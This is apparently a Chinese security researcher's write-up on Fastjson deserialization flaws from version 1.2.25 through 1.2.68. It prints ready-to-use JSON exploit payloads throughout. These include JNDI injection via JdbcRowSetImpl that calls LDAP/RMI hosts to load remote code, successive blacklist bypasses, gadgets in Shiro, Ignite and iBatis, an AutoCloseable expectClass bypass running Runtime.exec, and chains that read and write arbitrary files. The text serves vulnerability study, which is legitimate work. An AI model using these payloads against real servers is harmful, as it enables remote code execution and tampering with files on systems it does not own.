TemplatesImpl,利用条件苛刻,需要开启Feature.SupportNonPublicField
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "pwn",
"_tfactory": {},
"_outputProperties": {},
}
JdbcRowSetImpl利用链的JDNI注入,有RMI和LDAP两种利用方式,不过有JDK版本限制,具体见JNDI。
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"databaseMetaData":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
25版本引入了checkAutoType的机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,检测方式是先黑名单检测,后加载白名单中存在的类:
如果autoTypeSupport打开的情况,是先加载白名单中存在的类,后黑名单检测:
之后,如果autoTypeSupport打开,并且指定了反序列化的类exceptClass,会进入loadClass方法:
跟进这个方法,这里对类名中的一些特殊字符做了处理,然后递归调用loadClass:
所以可以利用这个特性,在autoTypeSupport打开,并且指定反序列化的类exceptClass的情况下,为黑名单中的类加上这些字符,就能绕过黑名单的检测。
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
// another
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"databaseMetaData":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L
开头,;
结尾,则会用stubstring处理一下:
双写即可绕过:
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
针对42版本中的双写绕过,43中解决的方法是套了一个子判断:
随后安全研究人员将目光投入了在loadClass中也同样被处理的 '[' 字符:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
44版本针对43版本的绕过作了处理,如果类名以 [ 开头则会直接抛出异常:
45版本为黑名单绕过:
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
47版本下出现了不开启autoTypeSupport的绕过,绕过方式是第一轮扫描先通过Class类把JdbcRowSetImpl加入mapping缓存,第二轮扫描的时候直接从缓存中获取类,从而绕过的黑名单的检测。
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Exploit",
"autoCommit":true
}
}
关于版本:
关于版本问题的原因还是在checkAutoType方法中,在开启了autoTypeSupport情况下:
对于黑名单的判读逻辑不一样,33版本之后多加了一个条件,就是从缓存的mapping中获取待加载的类,第一轮扫描把JdbcRowSetImpl加入了缓存,对于33版本之后第二轮扫描JdbcRowSetImpl的时候这个条件为true,就绕过的黑名单的检测,而33版本之前由于没有这一个条件,所以会抛出异常。
在没有开启autoTypeSupport的情况下,不会进入到第一个if条件中去,Class类在这个被找到:
之后会提取json文本中的 "var" 的值,然后放到缓存mapping中,第二轮扫描的时候通过TypeUtils#getClassFromMapping
直接获取到了JdbcRowSetImpl。
需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://localhost:1389/Exploit"
}
Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)
黑名单绕过,都需要开启AutoType。
{ "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames": [ "ldap://localhost:1389/Exploit" ], "Realms": [ "" ]}
{ "@type": "br.com.anteros.dbcp.AnterosDBCPConfig", "metricRegistry": "ldap://localhost:1389/Exploit"}{ "@type": "br.com.anteros.dbcp.AnterosDBCPConfig", "healthCheckRegistry": "ldap://localhost:1389/Exploit"}
{ "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", "properties": { "@type": "java.util.Properties", "UserTransaction": "ldap://localhost:1389/Exploit" }}
黑名单绕过,需要开启AutoType。
{ "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames": [ "ldap://localhost:1389/Exploit" ], "tm": { "$ref": "$.tm" }}
{ "@type": "org.apache.shiro.jndi.JndiObjectFactory", "resourceName": "ldap://localhost:1389/Exploit", "instance": { "$ref": "$.instance" }}
48版本把缓存开关默认这只为了false,从而避免了通过加载恶意类到缓存mapping中的绕过方式。
直到68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常:
对于开了safeMode的站基本不用看了✔
此外这个版本提出了一种针对expectClass的绕过,其思路是利用checkAutoType方法的expectClass参数,先传入某个类作为expectClass,再传入另一个expectClass或者其子类来进行绕过(expectClass不在黑名单中):
根据网上公开的分析文章来看,主要是利用了java.lang.AutoCloseable接口,这个接口内置在Fastjson的白名单中,方便复现,假设服务器存在一个恶意的AutoCloseable实现类:
package v_68;import java.io.IOException;public class A implements AutoCloseable{ public A() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void close() throws Exception { }}
POC如下:
{"@type":"java.lang.AutoCloseable","@type":"v_68.A"}
在第一次checkAutoType方法的检测中,传入的expectClass为null,检验的类为java.lang.AutoCloseable:
如果开启了autoTypeSupport,那么会从TypeUtils中直接加载返回:
如果没有开启autoTypeSupport,会从缓存mapping处获取之后返回(java.lang.AutoCloseable默认在缓存mapping中):
回到parseObject方法中,再往下走,Fastjson根据第一次执行checkAutoType方法返回的class获取相应的deserializer,可以看到AutoCloseable类获取的deserializer为JavaBeanDeserializer:
> 再往后跟代码比较冗长,主要是Fastjson词法分析的过程,捡几个重点说。
首先会从json字符串中匹配AutoCloseable的成员变量,如果匹配不到则继续往后扫描json字符串,提取下一个key:
拿到@type的值之后进入第二遍checkAutoType,此时expectClass正好是java.lang.AutoCloseable:
接上文,成功绕过checkAutoType,之后会默认调用无参构造方法来构建JavaBean。
org.aspectj aspectjtools 1.9.5
用到的类是org.eclipse.core.internal.localstore.SafeFileOutputStream
,在它的构造方法里:
利用这个特点可以实现任意文件读:
{ "@type":"java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath": "C:/Windows/win.ini", "targetPath": "C:/Users/45258/Desktop/IdeaProjects/JavaStudy/fastjson/1.txt"}
com.esotericsoftware kryo 4.0.0
用到的类是com.esotericsoftware.kryo.io.Output
,这个类的setOutputStream和setBuffer可以控制写入的流和写入的数据;在flush方法中触发了文件内容写入:
在require方法中触发了flush方法,在write相关方法中触发了require方法:
在JDK自带的ObjectOutputStream中有参构造方法中:
setBlockDataMode方法会触发drain方法,drain方法会触发wirte方法:
于是可以把out赋值成Output类的实例,直到触发flush方法。
但是Fastjson有一个特性就是在构建JavaBean的时候默认调用的是无参构造方法,所以想要调用ObjectOutputStream的有参构造方法,就只能靠其子类来调用,这里一个可用的类是SerialOutput,依赖如下:
com.sleepycat je 5.0.73
在这个类唯一的构造方法中调用了其父类(ObjectOutputStream)的有参构造方法,所以一条Gadget就构造完成了:
write:126, SafeFileOutputStream (org.eclipse.core.internal.localstore)write:116, OutputStream (java.io)flush:185, Output (com.esotericsoftware.kryo.io)require:164, Output (com.esotericsoftware.kryo.io)writeBytes:251, Output (com.esotericsoftware.kryo.io)write:219, Output (com.esotericsoftware.kryo.io)drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io):247, ObjectOutputStream (java.io):73, SerialOutput (com.sleepycat.bind.serial)
至于为什么Output类中可控的写入的流选用了SafeFileOutputStream类,原因有以下几点:
这个Exp利用了Fastjson中的循环引用:
{ "stream": { "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "D:/wamp64/www/hacked.txt", "tempPath": "D:/wamp64/www/test.txt" }, "writer": { "@type": "java.lang.AutoCloseable", "@type": "com.esotericsoftware.kryo.io.Output", "buffer": "cHduZWQ=", "outputStream": { "$ref": "$.stream" }, "position": 5 }, "close": { "@type": "java.lang.AutoCloseable", "@type": "com.sleepycat.bind.serial.SerialOutput", "out": { "$ref": "$.writer" } }}
在这里我本来想用JDK原生的java.io.FileOutputStream来代替SafeFileOutputStream,但是却出现了下面的错误:
具体问题研究以及解决:问题记录 (wolai.com)
@type指定为java.lang.Throwable的时候获取到的deserializer为ThrowableDeserializer:
在ThrowableDeserializer#deserialze方法中指定了checkAutoType方法的入参expectClass为Throwable.class:
但是这个类没有找到合适的Gadget,先留着以后再说。